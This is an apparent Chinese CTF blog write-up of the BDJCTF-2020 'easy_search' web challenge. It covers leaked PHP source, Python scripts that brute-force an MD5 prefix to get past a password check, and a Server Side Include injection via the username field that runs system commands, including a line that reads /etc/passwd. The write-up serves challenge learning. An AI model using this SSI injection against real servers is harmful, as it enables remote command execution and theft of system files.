HacKerQWQ的博客空间

md5碰撞脚本及shtml在BDJCTF的例题

Word count: 769Reading time: 3 min
2020/08/14 Share

BDJCTF-2020-Web-easy_search

index.php

试了几个都弱口令都不行,看了看题目(easy_search),于是扫了扫目录,发现index.php.swp,down下来之后看到了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");


if(isset($_POST['username']) and $_POST['username'] != '' ) {
$admin = '6d0bc1';
if ($admin == substr(md5($_POST['password']), 0, 6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/" . get_hash() . ".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,' . $_POST['username'] . '</h1>
***
***';
fwrite($shtml, $text);
fclose($shtml);
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}
}

开始代码审计…

逻辑:

  1. 首先验证是否存在’username’和’username’是否为空
  2. 验证password的md5值的前六位是否为’6d0bc1’
  3. 将’username’的写入文件名随机的以.shtml为拓展名的文件里面

解题

首先第一个条件很容易达到,关键是第二个怎么通过,想到了去md5网站随便找一个md5值,然后把前面6位改成”6d0bc1”然后再进行反向查询,好像8太行,全都是123456的结果

那只剩下随机数生成md5值然后验证前6位是不是”6d0bc1”

上python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#-*- coding:utf-8 -*-
#脚本功能:生成以指定字符为开头的md5值(6位数字)

import hashlib
import random

def encryption(chars):
return hashlib.md5(chars).hexdigest()
def generate():
return str(random.randint(99999,1000000))
def main():
start = "5e"
while True:
strs = generate()
print "Test %s " % strs
if encryption(strs).startswith(start):
print "yes!"
print "[+] %s " % strs + "%s " % encryption(strs)
break
else:
print "no!"
if __name__ == '__main__':
main()
print '完成!'

这里用的是前六位跑了半天没有跑出来,于是把random.randint(99999,1000000)改成7位也就是random.randint(999999,10000000)最后跑出来是20206662305004

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

a= "0123456789"
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
if ((md5[0:6])=='6d0bc1'):
print(md5+"对应的值为:"+b)

md5()之前要进行encode(“utf-8”)
其中hexdigest()是返回16进制

构造payload:

成功绕过第二步!!!

得到了header里面生成的随机url,并且点开页面

接下来构造username进行注入

查了查百度

.shtml包含有服务器命令的文本,会在发送给浏览器之前,自动读取执行百度百科

其中值得注意的是这些语法

1
2
3
<!--#include file="flag"-->将文本文件插入当前页面
<!--#exec cmd="cat /etc/passwd"-->执行系统命令
<!--#include virtual="/includes/header.html" --> 支持绝对路径包含文件

选用第二个来执行命令

没有发现flag,进入上一层看看

查看flag文件得到最终flag

CATALOG
  1. 1. BDJCTF-2020-Web-easy_search
    1. 1.1. 解题